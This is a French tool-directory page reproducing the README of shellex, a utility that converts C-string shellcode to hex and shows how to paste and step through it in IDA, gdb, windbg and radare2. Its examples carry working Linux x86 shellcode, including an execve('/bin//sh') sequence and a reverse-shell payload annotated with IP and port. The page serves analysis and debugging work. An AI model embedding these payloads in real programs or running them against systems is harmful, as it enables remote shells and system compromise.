Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
shellex — Convertisseur de C-shellcode en hexadécimal, outil pratique pour coller et exécuter des shellcodes dans IDA PRO, gdb, windbg, radare2, ollydbg, x64dbg, immunity debugger & 010 editor | Kitploit
Outils/GitHubGitHub/therealdreg/shellex
ExploitationRétro-ingénierieShellcodeDébogueursUtilitaires et FrameworksAnalyse de BinairesGénération de ShellcodeDéveloppement de Charges Utiles
GitHubtherealdreg/shellex

shellex

Convertisseur de C-shellcode en hexadécimal, outil pratique pour coller et exécuter des shellcodes dans IDA PRO, gdb, windbg, radare2, ollydbg, x64dbg, immunity debugger & 010 editor

Voir le dépôt
11223il y a 3 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Site web

shellex

AVERTISSEMENT : le code le plus moche du monde

Convertisseur de shellcode C en hexadécimal.

Merci de considérer un don : https://github.com/sponsors/therealdreg

Outil pratique pour coller et exécuter des shellcodes dans IDA PRO, gdb, windbg, radare2, ollydbg, x64dbg, immunity debugger et 010 editor.

Avez-vous des problèmes pour convertir des shellcodes C en HEX (peut-être des commentaires C + ASCII mélangés) ?

Voici shellex. Si le shellcode peut être compilé avec un compilateur C, shellex peut le convertir.

Exécutez simplement shellex, collez la chaîne C du shellcode et appuyez sur ENTRÉE.

Pour terminer, utilisez Ctrl+Z (Windows) / Ctrl+D (Linux)

Conversion d'un shellcode C multi-lignes hexadécimal + ASCII mélangé (attention à la partie mélangée \x68//sh\x68/bin\x89) :

root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"

sortie shellex :

root@kitploit:~
6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

Conversion d'un shellcode C multi-lignes avec commentaires :

root@kitploit:~
"\x68"
"\x7f\x01\x01\x01"  // <- IP:  127.1.1.1
"\x5e\x66\x68"
"\xd9\x03"          // <- Port: 55555
"\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"
"\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"
"\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"
"\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\xeb\xce"

sortie shellex :

root@kitploit:~
68 7F 01 01 01 5E 66 68 D9 03 5F 6A 66 58 99 6A 01 5B 52 53 6A 02 89 E1 CD 80 93 59 B0 3F CD 80 49 79 F9 B0 66 56 66 57 66 6A 02 89 E1 6A 10 51 53 89 E1 CD 80 B0 0B 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 EB CE

Avez-vous besoin de la sortie shellex comme une nouvelle chaîne C de shellcode ? Utilisez simplement le paramètre -h, exemple de conversion de la sortie shellex :

root@kitploit:~
./shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80

Installation

root@kitploit:~
git clone https://github.com/therealdreg/shellex.git

Pour Windows :

binaire :

root@kitploit:~
shellex\bins\shellex.exe

Pour Linux

Dépendances :

root@kitploit:~
sudo apt-get install tcc

binaire :

root@kitploit:~
shellex/linuxbins/shellex

Coller et exécuter un shellcode dans ollydbg, x64dbg, immunity debugger

Utilisez simplement mon plugin xshellex :

https://github.com/therealdreg/xshellex

Coller et exécuter un shellcode dans IDA PRO avec IDAPYTHON

  • exécutez shellex
  • entrez le shellcode :
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • appuyez sur Entrée
  • appuyez sur Ctrl+D
  • convertissez la sortie shellex en chaîne C-Hex avec shellex -h :
root@kitploit:~
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
  • créez votre propre script IDAPYTHON :
root@kitploit:~
def writebytes(dest, str):
  for i, c in enumerate(str):
    idc.patch_byte(dest+i, ord(c));

address = idc.get_reg_value("eip")

shellcode = "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"

writebytes(address, shellcode)

print("done!")
  • Copiez la chaîne C-Hex dans la variable shellcode.
  • Pour 32 bits, utilisez : address = idc.get_reg_value("eip")
  • Pour 64 bits, utilisez : address = idc.get_reg_value("rip")

Déboguer un programme dans IDA PRO :

  • Allez dans Fichier -> Script command...
  • dans Langage du script, sélectionnez : Python
  • Collez le script IDAPYTHON
  • Cliquez sur Exécuter

Vous pouvez maintenant déboguer le shellcode avec F7, mais la fenêtre de désassemblage peut afficher le shellcode sous forme d'octets (db).

Voici la solution :

  • Sélectionnez les octets du shellcode dans la fenêtre de désassemblage
  • Clic droit -> Undefine
  • Sélectionnez à nouveau les octets du shellcode dans la fenêtre de désassemblage
  • Clic droit -> Code -> Force -> Oui

Terminé ! Vous pouvez voir le shellcode désassemblé et le déboguer avec F7.

Coller et exécuter un shellcode dans gdb

  • exécutez shellex
  • entrez le shellcode :
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • appuyez sur Entrée
  • appuyez sur Ctrl+D
  • convertissez la sortie shellex en chaîne C-Hex avec shellex -h :
root@kitploit:~
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
  • écrivez la chaîne C-Hex dans un fichier en tant que données binaires brutes avec "echo" :
root@kitploit:~
echo -ne "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80" > /tmp/sc
  • gdb /bin/ls
  • starti

Écrivez le fichier binaire à l'emplacement du pointeur d'instruction courant :

pour 32 bits :

root@kitploit:~
restore /tmp/sc binary $eip
x/30b $eip
x/15i $eip

pour 64 bits :

root@kitploit:~
restore /tmp/sc binary $rip
x/30b $rip
x/15i $rip

x/30b est la taille en octets du shellcode, vous pouvez obtenir la taille avec :

root@kitploit:~
wc -c /tmp/sc

x/15i est le nombre d'instructions à afficher, vous pouvez obtenir le nombre correct (peut-être) avec ndisasm :

root@kitploit:~
sudo apt-get install nasm

Pour 32 bits :

root@kitploit:~
ndisasm -b32 /tmp/sc
ndisasm -b32 /tmp/sc | wc -l

Pour 64 bits :

root@kitploit:~
ndisasm -b64 /tmp/sc
ndisasm -b64 /tmp/sc | wc -l

Coller et exécuter un shellcode dans gdb-gef

  • exécutez shellex
  • entrez le shellcode :
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • appuyez sur Entrée
  • appuyez sur Ctrl+D
  • convertissez avec : echo "SPACE sortie_shellex" | sed "s/ / 0x/g"
root@kitploit:~
echo " 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80" | sed "s/ / 0x/g"

Utilisez la commande patch byte :

Pour 32 bits :

root@kitploit:~
patch byte $eip 0x6A 0x17 0x58 0x31 0xDB 0xCD 0x80 0x6A 0x0B 0x58 0x99 0x52 0x68 0x2F 0x2F 0x73 0x68 0x68 0x2F 0x62 0x69 0x6E 0x89 0xE3 0x52 0x53 0x89 0xE1 0xCD 0x80

Pour 64 bits :

root@kitploit:~
patch byte $rip 0x6A 0x17 0x58 0x31 0xDB 0xCD 0x80 0x6A 0x0B 0x58 0x99 0x52 0x68 0x2F 0x2F 0x73 0x68 0x68 0x2F 0x62 0x69 0x6E 0x89 0xE3 0x52 0x53 0x89 0xE1 0xCD 0x80

Exécutez la commande context et vérifiez si le désassemblage est correct

Coller et exécuter un shellcode dans gdb-peda

  • exécutez shellex
  • entrez le shellcode :
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • appuyez sur Entrée
  • appuyez sur Ctrl+D
  • convertissez la sortie shellex en chaîne C-Hex avec shellex -h :
root@kitploit:~
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

Pour 32 bits :

root@kitploit:~
patch $eip "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"

Pour 64 bits :

root@kitploit:~
patch $rip "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"

Exécutez la commande context et vérifiez si le désassemblage est correct

Coller et exécuter un shellcode dans windbg

  • exécutez shellex
  • entrez le shellcode :
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • appuyez sur Entrée
  • appuyez sur Ctrl+D

via eb

Pour les petits shellcodes, eb peut convenir. Utilisez simplement la sortie shellex avec la commande eb (merci Axel Souchet @0vercl0k pour l'astuce)

Pour 32 bits :

root@kitploit:~
eb @eip 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

Pour 64 bits :

root@kitploit:~
eb @rip 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

via fichier

  • convertissez la sortie shellex en données binaires brutes avec certutil :
root@kitploit:~
echo 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80 > C:\Users\Dreg\sc.hex
certutil -f -decodeHex c:\Users\Dreg\sc.hex c:\Users\Dreg\sc
del C:\Users\Dreg\sc.hex

sortie certutil :

root@kitploit:~
Input Length = 92
Output Length = 30
CertUtil: -decodehex command completed successfully.

La longueur de notre shellcode est 30, utilisez donc L0n30 dans windbg.

Écrivez le fichier binaire à l'emplacement du pointeur d'instruction courant :

pour 32 bits :

root@kitploit:~
.readmem C:\Users\Dreg\sc @eip L0n30

pour 64 bits :

root@kitploit:~
.readmem C:\Users\Dreg\sc @rip L0n30

Coller et exécuter un shellcode dans radare2

  • exécutez shellex
  • entrez le shellcode :
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • appuyez sur Entrée
  • appuyez sur Ctrl+D
  • convertissez la sortie shellex en chaîne C-Hex avec shellex -h :
root@kitploit:~
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
  • écrivez la chaîne C-Hex dans radare2 en utilisant la commande "w" :

Pour 32 bits :

root@kitploit:~
w \x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80 @eip

Pour 64 bits :

root@kitploit:~
w \x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80 @rip

Vérifiez si le shellcode est bien collé :

Obtenez la taille du shellcode dans un terminal avec :

root@kitploit:~
echo -ne "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80" | wc -c

Le résultat de la dernière commande est 30. Utilisez maintenant la commande pD dans radare2 :

root@kitploit:~
pD 30

Mode non interactif

Conversion de "\x6a\x17\x58\x31\xdb\xcd\x80" sous Linux :

root@kitploit:~
echo "\"\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80\"" | shellex

Conversion de "\x6a\x17\x58\x31\xdb\xcd\x80" sous Windows :

root@kitploit:~
echo "\x6a\x17\x58\x31\xdb\xcd\x80" | shellex.exe

Via un fichier multi-lignes sous Windows :

root@kitploit:~
C:\Users\Dreg\Desktop\shellex\bins>type sc.txt
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
C:\Users\Dreg\Desktop\shellex\bins>type sc.txt | shellex.exe

Via un fichier multi-lignes sous Linux :

root@kitploit:~
dreg@fr33project# cat sc.txt
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
dreg@fr33project# cat sc.txt | shellex

Compilation

Pour Windows, utilisez simplement Visual Studio 2013

  • https://my.visualstudio.com/Downloads?q=visual%20studio%202013&wt.mc_id=o~msft~vscom~older-downloads
  • https://go.microsoft.com/fwlink/?LinkId=532495&clcid=0x409

Pour Linux, simplement :

root@kitploit:~
cd shellex/shellex
gcc -o shellex shellex.c
./shellex
Télécharger l’outil